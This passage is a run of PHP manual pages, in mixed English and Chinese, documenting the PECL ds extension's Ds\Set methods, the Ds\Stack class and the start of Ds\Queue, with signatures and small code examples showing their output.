  • Ds\Set
  • Returns the first value in the set

Ds\Set::first

(PECL ds >= 1.0.0)

Ds\Set::first — Returns the first value in the set

说明

public Ds\Set::first(): mixed

Returns the first value in the set.

参数

此函数没有参数。

返回值

The first value in the set.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Set::first() example

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->first());
?>

以上示例的输出类似于：

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a given index

  • ? Ds\Set::first
  • Ds\Set::intersect ?
  • PHP Manual
  • Ds\Set
  • Returns the value at a given index

Ds\Set::get

(PECL ds >= 1.0.0)

Ds\Set::get — Returns the value at a given index

说明

public Ds\Set::get(int $index): mixed

Returns the value at a given index.

参数

index

The index to access, starting at 0.

返回值

The value at the requested index.

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Set::get() example

<?php
$set = new \Ds\Set(["a", "b", "c"]);

var_dump($set->get(0));
var_dump($set->get(1));
var_dump($set->get(2));
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

Example #2 Ds\Set::get() example using array syntax

<?php
$set = new \Ds\Set(["a", "b", "c"]);

var_dump($set[0]);
var_dump($set[1]);
var_dump($set[2]);
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set by intersecting values with another set

  • ? Ds\Set::get
  • Ds\Set::isEmpty ?
  • PHP Manual
  • Ds\Set
  • Creates a new set by intersecting values with another set

Ds\Set::intersect

(PECL ds >= 1.0.0)

Ds\Set::intersect — Creates a new set by intersecting values with another set

说明

public Ds\Set::intersect(Ds\Set $set): Ds\Set

Creates a new set using values common to both the current instance and another set. In other words, returns a copy of the current instance with all values removed that are not in the other set.

A ∩ B = {x : x ∈ A ∧ x ∈ B}

参数

set

The other set.

返回值

The intersection of the current instance and another set.

参见

  • » Intersection on Wikipedia

示例

Example #1 Ds\Set::intersect() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->intersect($b));
?>

以上示例的输出类似于：

object(Ds\Set)#3 (1) {
  [0]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the set is empty

  • ? Ds\Set::intersect
  • Ds\Set::join ?
  • PHP Manual
  • Ds\Set
  • Returns whether the set is empty

Ds\Set::isEmpty

(PECL ds >= 1.0.0)

Ds\Set::isEmpty — Returns whether the set is empty

说明

public Ds\Set::isEmpty(): bool

Returns whether the set is empty.

参数

此函数没有参数。

返回值

Returns true if the set is empty, false otherwise.

示例

Example #1 Ds\Set::isEmpty() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Joins all values together as a string

  • ? Ds\Set::isEmpty
  • Ds\Set::jsonSerialize ?
  • PHP Manual
  • Ds\Set
  • Joins all values together as a string

Ds\Set::join

(PECL ds >= 1.0.0)

Ds\Set::join — Joins all values together as a string

说明

public Ds\Set::join(string $glue = ?): string

Joins all values together as a string using an optional separator between each value.

参数

glue

An optional string to separate each value.

返回值

All values of the set joined together as a string.

示例

Example #1 Ds\Set::join() example using a separator string

<?php
$set = new \Ds\Set(["a", "b", "c", 1, 2, 3]);

var_dump($set->join("|"));
?>

以上示例的输出类似于：

string(11) "a|b|c|1|2|3"

Example #2 Ds\Set::join() example without a separator string

<?php
$set = new \Ds\Set(["a", "b", "c", 1, 2, 3]);

var_dump($set->join());
?>

以上示例的输出类似于：

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? Ds\Set::join
  • Ds\Set::last ?
  • PHP Manual
  • Ds\Set
  • Returns a representation that can be converted to JSON

Ds\Set::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Set::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

Note:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the last value in the set

  • ? Ds\Set::jsonSerialize
  • Ds\Set::merge ?
  • PHP Manual
  • Ds\Set
  • Returns the last value in the set

Ds\Set::last

(PECL ds >= 1.0.0)

Ds\Set::last — Returns the last value in the set

说明

public Ds\Set::last(): mixed

Returns the last value in the set.

参数

此函数没有参数。

返回值

The last value in the set.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Set::last() example

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->last());
?>

以上示例的输出类似于：

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given values to the set

  • ? Ds\Set::last
  • Ds\Set::reduce ?
  • PHP Manual
  • Ds\Set
  • Returns the result of adding all given values to the set

Ds\Set::merge

(PECL ds >= 1.0.3)

Ds\Set::merge — Returns the result of adding all given values to the set

说明

public Ds\Set::merge(mixed $values): Ds\Set

Returns the result of adding all given values to the set.

参数

values

A traversable object or an array.

返回值

The result of adding all given values to the set, effectively the same as adding the values to a copy, then returning that copy.

Note:

The current instance won't be affected.

示例

Example #1 Ds\Set::merge() example

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->merge([3, 4, 5]));
var_dump($set);
?>

以上示例的输出类似于：

object(Ds\Set)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
}
object(Ds\Set)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Reduces the set to a single value using a callback function

  • ? Ds\Set::merge
  • Ds\Set::remove ?
  • PHP Manual
  • Ds\Set
  • Reduces the set to a single value using a callback function

Ds\Set::reduce

(PECL ds >= 1.0.0)

Ds\Set::reduce — Reduces the set to a single value using a callback function

说明

public Ds\Set::reduce(callable $callback, mixed $initial = ?): mixed

Reduces the set to a single value using a callback function.

参数

callback
callback(mixed $carry, mixed $value): mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返回值

The return value of the final callback.

示例

Example #1 Ds\Set::reduce() with initial value example

<?php
$set = new \Ds\Set([1, 2, 3]);

$callback = function($carry, $value) {
return $carry * $value;
};

var_dump($set->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

以上示例的输出类似于：

int(30)

Example #2 Ds\Set::reduce() without an initial value example

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->reduce(function($carry, $value) {
return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

以上示例的输出类似于：

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes all given values from the set

  • ? Ds\Set::reduce
  • Ds\Set::reverse ?
  • PHP Manual
  • Ds\Set
  • Removes all given values from the set

Ds\Set::remove

(PECL ds >= 1.0.0)

Ds\Set::remove — Removes all given values from the set

说明

public Ds\Set::remove(mixed ...$values): void

Removes all given values from the set, ignoring any that are not in the set.

参数

values

The values to remove.

返回值

没有返回值。

示例

Example #1 Ds\Set::remove() example

<?php
$set = new \Ds\Set([1, 2, 3, 4, 5]);

$set->remove(1); // Remove 1
$set->remove(1, 2); // Can't find 1, but remove 2
$set->remove(...[3, 4]); // Remove 3 and 4

var_dump($set);
?>

以上示例的输出类似于：

object(Ds\Set)#1 (1) {
  [0]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


Reverses the set in-place

  • ? Ds\Set::remove
  • Ds\Set::reversed ?
  • PHP Manual
  • Ds\Set
  • Reverses the set in-place

Ds\Set::reverse

(PECL ds >= 1.0.0)

Ds\Set::reverse — Reverses the set in-place

说明

public Ds\Set::reverse(): void

Reverses the set in-place.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Set::reverse() example

<?php
$set = new \Ds\Set(["a", "b", "c"]);
$set->reverse();

print_r($set);
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ? Ds\Set::reverse
  • Ds\Set::slice ?
  • PHP Manual
  • Ds\Set
  • Returns a reversed copy

Ds\Set::reversed

(PECL ds >= 1.0.0)

Ds\Set::reversed — Returns a reversed copy

说明

public Ds\Set::reversed(): Ds\Set

Returns a reversed copy of the set.

参数

此函数没有参数。

返回值

A reversed copy of the set.

Note:

The current instance is not affected.

示例

Example #1 Ds\Set::reversed() example

<?php
$set = new \Ds\Set(["a", "b", "c"]);

print_r($set->reversed());
print_r($set);
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Set Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sub-set of a given range

  • ? Ds\Set::reversed
  • Ds\Set::sort ?
  • PHP Manual
  • Ds\Set
  • Returns a sub-set of a given range

Ds\Set::slice

(PECL ds >= 1.0.0)

Ds\Set::slice — Returns a sub-set of a given range

说明

public Ds\Set::slice(int $index, int $length = ?): Ds\Set

Creates a sub-set of a given range.

参数

index

The index at which the sub-set starts.

If positive, the set will start at that index in the set. If negative, the set will start that far from the end.

length

If a length is given and is positive, the resulting set will have up to that many values in it. If the length results in an overflow, only values up to the end of the set will be included. If a length is given and is negative, the set will stop that many values from the end. If a length is not provided, the resulting set will contain all values between the index and the end of the set.

返回值

A sub-set of the given range.

示例

Example #1 Ds\Set::slice() example

<?php
$set = new \Ds\Set(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($set->slice(2));

// Slice from 1, for a length of 3
print_r($set->slice(1, 3));

// Slice from 1 onwards
print_r($set->slice(1));

// Slice from 2 from the end onwards
print_r($set->slice(-2));

// Slice from 1 to 1 from the end
print_r($set->slice(1, -1));
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Set Object
(
    [0] => d
    [1] => e
)
Ds\Set Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the set in-place

  • ? Ds\Set::slice
  • Ds\Set::sorted ?
  • PHP Manual
  • Ds\Set
  • Sorts the set in-place

Ds\Set::sort

(PECL ds >= 1.0.0)

Ds\Set::sort — Sorts the set in-place

说明

public Ds\Set::sort(callable $comparator = ?): void

Sorts the set in-place, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

没有返回值。

示例

Example #1 Ds\Set::sort() example

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);
$set->sort();

print_r($set);
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Example #2 Ds\Set::sort() example using a comparator

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

$set->sort(function($a, $b) {
return $b <=> $a;
});

print_r($set);
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sorted copy

  • ? Ds\Set::sort
  • Ds\Set::sum ?
  • PHP Manual
  • Ds\Set
  • Returns a sorted copy

Ds\Set::sorted

(PECL ds >= 1.0.0)

Ds\Set::sorted — Returns a sorted copy

说明

public Ds\Set::sorted(callable $comparator = ?): Ds\Set

Returns a sorted copy, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

Returns a sorted copy of the set.

示例

Example #1 Ds\Set::sorted() example

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

print_r($set->sorted());
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Example #2 Ds\Set::sorted() example using a comparator

<?php
$set = new \Ds\Set([4, 5, 1, 3, 2]);

$sorted = $set->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the set

  • ? Ds\Set::sorted
  • Ds\Set::toArray ?
  • PHP Manual
  • Ds\Set
  • Returns the sum of all values in the set

Ds\Set::sum

(PECL ds >= 1.0.0)

Ds\Set::sum — Returns the sum of all values in the set

说明

public Ds\Set::sum(): int|float

Returns the sum of all values in the set.

Note:

Arrays and objects are considered equal to zero when calculating the sum.

参数

此函数没有参数。

返回值

The sum of all the values in the set as either a float or int depending on the values in the set.

示例

Example #1 Ds\Set::sum() integer example

<?php
$set = new \Ds\Set([1, 2, 3]);
var_dump($set->sum());
?>

以上示例的输出类似于：

int(6)

Example #2 Ds\Set::sum() float example

<?php
$set = new \Ds\Set([1, 2.5, 3]);
var_dump($set->sum());
?>

以上示例的输出类似于：

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Converts the set to an array

  • ? Ds\Set::sum
  • Ds\Set::union ?
  • PHP Manual
  • Ds\Set
  • Converts the set to an array

Ds\Set::toArray

(PECL ds >= 1.0.0)

Ds\Set::toArray — Converts the set to an array

说明

public Ds\Set::toArray(): array

Converts the set to an array.

Note:

Casting to an array is not supported yet.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the set.

示例

Example #1 Ds\Set::toArray() example

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->toArray());
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set using values from the current instance and another set

  • ? Ds\Set::toArray
  • Ds\Set::xor ?
  • PHP Manual
  • Ds\Set
  • Creates a new set using values from the current instance and another set

Ds\Set::union

(PECL ds >= 1.0.0)

Ds\Set::union — Creates a new set using values from the current instance and another set

说明

public Ds\Set::union(Ds\Set $set): Ds\Set

Creates a new set that contains the values of the current instance as well as the values of another set.

A ∪ B = {x: x ∈ A ∨ x ∈ B}

参数

set

The other set, to combine with the current instance.

返回值

A new set containing all the values of the current instance as well as another set.

参见

  • » Union on Wikipedia

示例

Example #1 Ds\Set::union() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->union($b));
?>

以上示例的输出类似于：

object(Ds\Set)#3 (5) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set using values in either the current instance or in another set, but not in both

  • ? Ds\Set::union
  • Ds\Stack ?
  • PHP Manual
  • Ds\Set
  • Creates a new set using values in either the current instance or in another set, but not in both

Ds\Set::xor

(PECL ds >= 1.0.0)

Ds\Set::xor — Creates a new set using values in either the current instance or in another set, but not in both

说明

public Ds\Set::xor(Ds\Set $set): Ds\Set

Creates a new set containing values in the current instance as well as another set, but not in both.

A ? B = {x : x ∈ (A \ B) ∪ (B \ A)}

参数

set

The other set.

返回值

A new set containing values in the current instance as well as another set, but not in both.

参见

  • » Symmetric Difference on Wikipedia

示例

Example #1 Ds\Set::xor() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->xor($b));
?>

以上示例的输出类似于：

object(Ds\Set)#3 (4) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(4)
  [3]=>
  int(5)
}

User Contributed Notes

There are no user contributed notes for this page.


The Stack class

(PECL ds >= 1.0.0)

简介

A Stack is a "last in, first out" or "LIFO" collection that only allows access to the value at the top of the structure and iterates in that order, destructively.

Uses a Ds\Vector internally.

类摘要

class Ds\Stack implements Ds\Collection, ArrayAccess {
/* 方法 */
public allocate(int $capacity): void
public capacity(): int
public clear(): void
public copy(): Ds\Stack
public isEmpty(): bool
public peek(): mixed
public pop(): mixed
public push(mixed ...$values): void
public toArray(): array
}

更新日志

版本 | 说明
PECL ds 1.3.0 | The class now implements ArrayAccess.

Table of Contents

  • Ds\Stack::allocate — Allocates enough memory for a required capacity
  • Ds\Stack::capacity — Returns the current capacity
  • Ds\Stack::clear — Removes all values
  • Ds\Stack::__construct — Creates a new instance
  • Ds\Stack::copy — Returns a shallow copy of the stack
  • Ds\Stack::count — Returns the number of values in the stack
  • Ds\Stack::isEmpty — Returns whether the stack is empty
  • Ds\Stack::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Stack::peek — Returns the value at the top of the stack
  • Ds\Stack::pop — Removes and returns the value at the top of the stack
  • Ds\Stack::push — Pushes values onto the stack
  • Ds\Stack::toArray — Converts the stack to an array

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ? Ds\Stack
  • Ds\Stack::capacity ?
  • PHP Manual
  • Ds\Stack
  • Allocates enough memory for a required capacity

Ds\Stack::allocate

(PECL ds >= 1.0.0)

Ds\Stack::allocate — Allocates enough memory for a required capacity

说明

public Ds\Stack::allocate(int $capacity): void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

参数

capacity

The number of values for which capacity should be allocated.

Note:

Capacity will stay the same if this value is less than or equal to the current capacity.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ? Ds\Stack::allocate
  • Ds\Stack::clear ?
  • PHP Manual
  • Ds\Stack
  • Returns the current capacity

Ds\Stack::capacity

(PECL ds >= 1.0.0)

Ds\Stack::capacity — Returns the current capacity

说明

public Ds\Stack::capacity(): int

Returns the current capacity.

参数

此函数没有参数。

返回值

The current capacity.

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ? Ds\Stack::capacity
  • Ds\Stack::__construct ?
  • PHP Manual
  • Ds\Stack
  • Removes all values

Ds\Stack::clear

(PECL ds >= 1.0.0)

Ds\Stack::clear — Removes all values

说明

public Ds\Stack::clear(): void

Removes all values from the stack.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Stack::clear() example

<?php
$stack = new \Ds\Stack([1, 2, 3]);
print_r($stack);

$stack->clear();
print_r($stack);
?>

以上示例的输出类似于：

Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)
Ds\Stack Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ? Ds\Stack::clear
  • Ds\Stack::copy ?
  • PHP Manual
  • Ds\Stack
  • Creates a new instance

Ds\Stack::__construct

(PECL ds >= 1.0.0)

Ds\Stack::__construct — Creates a new instance

说明

public Ds\Stack::__construct(mixed $values = ?)

Creates a new instance, using either a traversable object or an array for the initial values.

参数

values

A traversable object or an array to use for the initial values.

示例

Example #1 Ds\Stack::__construct() example

<?php
$stack = new \Ds\Stack();
print_r($stack);

$stack = new \Ds\Stack([1, 2, 3]);
print_r($stack);
?>

以上示例的输出类似于：

Ds\Stack Object
(
)
Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the stack

  • ? Ds\Stack::__construct
  • Ds\Stack::count ?
  • PHP Manual
  • Ds\Stack
  • Returns a shallow copy of the stack

Ds\Stack::copy

(PECL ds >= 1.0.0)

Ds\Stack::copy — Returns a shallow copy of the stack

说明

public Ds\Stack::copy(): Ds\Stack

Returns a shallow copy of the stack.

参数

此函数没有参数。

返回值

Returns a shallow copy of the stack.

示例

Example #1 Ds\Stack::copy() example

<?php
$a = new \Ds\Stack([1, 2, 3]);
$b = $a->copy();

// Updating the copy doesn't affect the original
$b->push(4);

print_r($a);
print_r($b);
?>

以上示例的输出类似于：

Ds\Stack Object
(
    [0] => 3
    [1] => 2
    [2] => 1
)
Ds\Stack Object
(
    [0] => 4
    [1] => 3
    [2] => 2
    [3] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the stack

  • ? Ds\Stack::copy
  • Ds\Stack::isEmpty ?
  • PHP Manual
  • Ds\Stack
  • Returns the number of values in the stack

Ds\Stack::count

(PECL ds >= 1.0.0)

Ds\Stack::count — Returns the number of values in the stack

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the stack is empty

  • ? Ds\Stack::count
  • Ds\Stack::jsonSerialize ?
  • PHP Manual
  • Ds\Stack
  • Returns whether the stack is empty

Ds\Stack::isEmpty

(PECL ds >= 1.0.0)

Ds\Stack::isEmpty — Returns whether the stack is empty

说明

public Ds\Stack::isEmpty(): bool

Returns whether the stack is empty.

参数

此函数没有参数。

返回值

Returns true if the stack is empty, false otherwise.

示例

Example #1 Ds\Stack::isEmpty() example

<?php
$a = new \Ds\Stack([1, 2, 3]);
$b = new \Ds\Stack();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? Ds\Stack::isEmpty
  • Ds\Stack::peek ?
  • PHP Manual
  • Ds\Stack
  • Returns a representation that can be converted to JSON

Ds\Stack::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Stack::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

Note:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the top of the stack

  • ? Ds\Stack::jsonSerialize
  • Ds\Stack::pop ?
  • PHP Manual
  • Ds\Stack
  • Returns the value at the top of the stack

Ds\Stack::peek

(PECL ds >= 1.0.0)

Ds\Stack::peek — Returns the value at the top of the stack

说明

public Ds\Stack::peek(): mixed

Returns the value at the top of the stack, but does not remove it.

参数

此函数没有参数。

返回值

The value at the top of the stack.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Stack::peek() example

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c");

var_dump($stack->peek());
?>

以上示例的输出类似于：

string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the value at the top of the stack

  • ? Ds\Stack::peek
  • Ds\Stack::push ?
  • PHP Manual
  • Ds\Stack
  • Removes and returns the value at the top of the stack

Ds\Stack::pop

(PECL ds >= 1.0.0)

Ds\Stack::pop — Removes and returns the value at the top of the stack

说明

public Ds\Stack::pop(): mixed

Removes and returns the value at the top of the stack.

参数

此函数没有参数。

返回值

The removed value which was at the top of the stack.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Stack::pop() example

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c");

var_dump($stack->pop());
var_dump($stack->pop());
var_dump($stack->pop());
?>

以上示例的输出类似于：

string(1) "c"
string(1) "b"
string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Pushes values onto the stack

  • ? Ds\Stack::pop
  • Ds\Stack::toArray ?
  • PHP Manual
  • Ds\Stack
  • Pushes values onto the stack

Ds\Stack::push

(PECL ds >= 1.0.0)

Ds\Stack::push — Pushes values onto the stack

说明

public Ds\Stack::push(mixed ...$values): void

Pushes values onto the stack.

参数

values

The values to push onto the stack.

返回值

没有返回值。

示例

Example #1 Ds\Stack::push() example

<?php
$stack = new \Ds\Stack();

$stack->push("a");
$stack->push("b");
$stack->push("c", "d");
$stack->push(...["e", "f"]);

print_r($stack);
?>

以上示例的输出类似于：

Ds\Stack Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

ishaankesari7 at gmail dot com 24-Jan-2017 05:23
If  "f " is put at the  last so it should be on the top of the stack not at the bottom.


Converts the stack to an array

  • ? Ds\Stack::push
  • Ds\Queue ?
  • PHP Manual
  • Ds\Stack
  • Converts the stack to an array

Ds\Stack::toArray

(PECL ds >= 1.0.0)

Ds\Stack::toArray — Converts the stack to an array

说明

public Ds\Stack::toArray(): array

Converts the stack to an array.

Note:

Casting to an array is not supported yet.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the stack.

示例

Example #1 Ds\Stack::toArray() example

<?php
$stack = new \Ds\Stack([1, 2, 3]);

var_dump($stack->toArray());
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  int(3)
  [1]=>
  int(2)
  [2]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


The Queue class

(PECL ds >= 1.0.0)

简介

A Queue is a "first in, first out" or "FIFO" collection that only allows access to the value at the front of the queue and iterates in that order, destructively.

类摘要

class Ds\Queue implements Ds\Collection, ArrayAccess {
/* 常量 */
const int MIN_CAPACITY = 8;
/* 方法 */
public allocate(int $capacity): void
public capacity(): int
public clear(): void
public copy(): Ds\Queue
public isEmpty(): bool
public peek(): mixed
public pop(): mixed
public push(mixed ...$values): void
public toArray(): array
}

预定义常量

Ds\Queue::MIN_CAPACITY

更新日志

版本 | 说明
PECL ds 1.3.0 | The class now implements ArrayAccess.

Table of Contents

  • Ds\Queue::allocate — Allocates enough memory for a required capacity
  • Ds\Queue::capacity — Returns the current capacity
  • Ds\Queue::clear — Removes all values
  • Ds\Queue::__construct — Creates a new instance
  • Ds\Queue::copy — Returns a shallow copy of the queue
  • Ds\Queue::count — Returns the number of values in the queue
  • Ds\Queue::isEmpty — Returns whether the queue is empty
  • Ds\Queue::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Queue::peek — Returns the value at the front of the queue
  • Ds\Queue::pop — Removes and returns the value at the front of the queue
  • Ds\Queue::push — Pushes values into the queue
  • Ds\Queue::toArray — Converts the queue to an array

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ? Ds\Queue
  • Ds\Queue::capacity ?
  • PHP Manual
  • Ds\Queue
  • Allocates enough memory for a required capacity

Ds\Queue::allocate

(PECL ds >= 1.0.0)

Ds\Queue::allocate — Allocates enough memory for a required capacity

说明

public Ds\Queue::allocate(int $capacity): void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

Note:

Capacity will always be rounded up to the nearest power of 2.

参数

capacity

The number of values for which capacity should be allocated.

Note:

Capacity will stay the same if this value is less than or equal to the current capacity.

Note:

Capacity will always be rounded up to the nearest power of 2.

返回值

没有返回值。

示例

Example #1 Ds\Queue::allocate() example

<?php
$queue = new \Ds\Queue();
var_dump($queue->capacity());

$queue->allocate(100);
var_dump($queue->capacity());
?>

以上示例的输出类似于：

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ? Ds\Queue::allocate
  • Ds\Queue::clear ?
  • PHP Manual
  • Ds\Queue
  • Returns the current capacity

Ds\Queue::capacity

(PECL ds >= 1.0.0)

Ds\Queue::capacity — Returns the current capacity

说明

public Ds\Queue::capacity(): int

Returns the current capacity.

参数

此函数没有参数。

返回值

The current capacity.

示例

Example #1 Ds\Queue::capacity() example

<?php
$queue = new \Ds\Queue();
var_dump($queue->capacity());

$queue->push(...range(1, 50));
var_dump($queue->capacity());
?>

以上示例的输出类似于：

int(8)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ? Ds\Queue::capacity
  • Ds\Queue::__construct ?
  • PHP Manual
  • Ds\Queue
  • Removes all values

Ds\Queue::clear

(PECL ds >= 1.0.0)

Ds\Queue::clear — Removes all values

说明

public Ds\Queue::clear(): void

Removes all values from the queue.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Queue::clear() example

<?php
$queue = new \Ds\Queue([1, 2, 3]);
print_r($queue);

$queue->clear();
print_r($queue);
?>

以上示例的输出类似于：

Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Queue Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ? Ds\Queue::clear
  • Ds\Queue::copy ?
  • PHP Manual
  • Ds\Queue
  • Creates a new instance

Ds\Queue::__construct

(PECL ds >= 1.0.0)

Ds\Queue::__construct — Creates a new instance

说明

public Ds\Queue::__construct(mixed $values = ?)

Creates a new instance, using either a traversable object or an array for the initial values.

参数

values

A traversable object or an array to use for the initial values.

示例

Example #1 Ds\Queue::__construct() example

<?php
$queue = new \Ds\Queue();
var_dump($queue);

$queue = new \Ds\Queue([1, 2, 3]);
var_dump($queue);
?>

以上示例的输出类似于：

object(Ds\Queue)#2 (0) {
}
object(Ds\Queue)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the queue

  • ? Ds\Queue::__construct
  • Ds\Queue::count ?
  • PHP Manual
  • Ds\Queue
  • Returns a shallow copy of the queue

Ds\Queue::copy

(PECL ds >= 1.0.0)

Ds\Queue::copy — Returns a shallow copy of the queue

说明

public Ds\Queue::copy(): Ds\Queue

Returns a shallow copy of the queue.

